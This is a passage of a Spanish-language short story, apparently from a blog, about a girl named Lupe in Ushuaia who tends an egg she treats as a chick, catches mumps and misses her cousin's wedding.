<span style="font-size: 12pt; font-weight: normal;"> El lunes en la escuela
fue un éxito. Nadie notó que a Lupe le faltaba un huevo de los seis que les
habían pedido. La maestra les mostró cómo vaciarlos y limpiar la cáscara,
después iban a rellenarlos con chocolate. Ella hizo todos los pasos a la
perfección y se llevó sus cinco huevos a casa para enfriar y pintar. Ya sabía
que el primero sería para Roxana, la prima que se casaba el sábado. Lupe y
Camila iban a participar vestidas de blanco llevando los anillos hasta el
altar.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Dejó la huevera al fondo
del primer estante de la heladera y se fue a ver al pollito. Alguien había
apagado la lámpara sol. Acomodó un par de hojas sobre el nido y agarró el huevo
con los dedos de siempre. Busco la parte limpia y la besó con la boca entera.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -Te quiero.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Roxana las pasó a buscar
a la mañana siguiente para ir a probarse la ropa del casamiento. Lupe y Camila
coincidieron en sentirse secretamente decepcionadas de que sus vestidos fueran
iguales, blancos con un moño celeste en la cintura. La calle a la mañana les
era un territorio extraño, en Ushuaia las mañanas eran lentas y puertas
adentro.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> En el tacho de basura de
la cocina, Lupe encontró la huevera de cartón vacía. En la heladera no había
nada, ni un rastro de chocolate. Había sido víctima de los atracones nocturnos de
Miguel y no le había quedado ni un solo huevo. Trepó en pánico hacia el nido
esperando lo peor para su amigo pero el pollito estaba a salvo. Desde el
estante le gritó a Miguel que de ninguna manera iba a ir a la escuela para
tener que contarle a todo el mundo que en su casa se habían comido la tarea,
que a la noche, dormido, Miguel ni veía lo que comía. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Guardó al pollito en el
bolsillo de su pijama, agarró a la muñeca por el cuello y salió para el fondo.
Ahí, en la tierra árida donde no crecía el pasto, abundaban las lombrices. Lupe
las cortaba por la mitad y las mandaba al hospital de bichos, donde los
pacientes siempre sobrevivían. Palmiro dio un par de vueltas alrededor de la
escena y cayó rendido, sus cuatro patas escondidas debajo de su cuerpo. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Pronto la llamaron desde
adentro. Camila se iba al dentista con Miguel y Lupe tenía que ir a la
zapatería con Marisol. No fuera cosa que se quedara sola en casa, que
aprendiera, como aquella vez con Huguito, la historia del matambre.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> La zapatería se llamaba
LC en honor a las hermanas. Lupe había querido traer a Josefina pero Marisol se
lo prohibió diciendo que la muñeca asustaba a las clientas. A partir de aquel
día Lupe llevó a su pollito escondido en el bolsillo para todos lados. Mientras
lo acariciaba con la mano izquierda, escuchó la risa absurda de Marisol que
conversaba con la primera señora de la tarde. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Se quedó dormida en el
fondo del depósito entre cajas de zapatos que olían a cuero nuevo. Soñó que la
cara se le inflaba hasta explotar. Cuando se despertó le dolía la garganta.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> En la guardia dijeron
que Lupe tenía paperas y que había que aislarla y dejarla reposar por al menos
un mes. <i>Paperas, paperas.</i> Pensó que
su enfermedad tenía el mismo nombre que el hámster de Julia. Que durante un mes
en la cama podía salirle una capa de pelo en todo el cuerpo, los ojitos se le
volverían mostacillas negras y bien podría crecerle una cola. Lloró pensando en
el dolor. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Las paperas eran la peor
enfermedad posible para Lupe. Pasaban las semanas y los síntomas no amainaban, los
pasillos de su mente fantasiosa estaban prendidos fuego con la alerta del dolor.
Se aburría durante las tardes largas con la casa vacía, Cristina lavando los
platos, pasando el trapo por la cocina, el sonido suave de la radio que apenas
llegaba a la pieza. Había mudado el nido al lado de la cama y a veces se
guardaba el huevo en el bolsillo del pijama para acariciarlo.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> El día del casamiento
Lupe todavía contagiaba. Con la puerta entreabierta vio cómo Camila se ponía el
vestido blanco. Marisol le hacía unos rulos en el pelo con la buclera y Miguel
planchaba su camisa. Ella tenía el mismo pijama hace cuatro días, había perdido
la cuenta de cuantas veces había transpirado y cuantas veces se habían secado
las sábanas. Tenía el pañuelo celeste de Marisol puesto alrededor de la
garganta y el pelo largo y enrulado, despeinado. Entraba a la habitación el
olor al perfume de su mamá. Cuando salieron los tres y se escuchó la última
vuelta de la llave en la cerradura, un silencio triste cubrió la casa. El eco
de los tacos alejándose por el pasillo que Lupe conocía de memoria. ¿Y si había
cambiado mientras ella estaba ahí? ¿Si al salir de las paperas se encontrara
con que el mundo es otro? La fiebre la
adormeció.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -¿Estás bien?- susurró
Cristina entrando a la habitación. Con una mano se cubría la boca. Se acercó a
la cama y puso su mano libre sobre la frente de Lupe.<o:p></o:p></span></h3>
<br />
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -¿Por qué, por qué?-
abrió los ojos grandes y agarró a Cristina por el cuello de la camisa con toda
la debilidad de sus paperas. Como si alguien la hubiese desenchufado, cayó
rendida sobre la almohada. Cristina le acarició la frente y el pelo. Cuando
levantó la sábana para acomodarla, sintió el líquido viscoso de la clara de
huevo y la baba amarilla que empezaba a colarse entre las arrugas de las telas.
Los pedazos de cáscara aplastada eran como un chicle en el cemento, en el piso
de la calle, donde Lupe no había podido celebrar ni Pascua, ni el casamiento,
ni el nacimiento del pollito. <o:p></o:p></span></h3>
</div>
Unknownnoreply@blogger.com0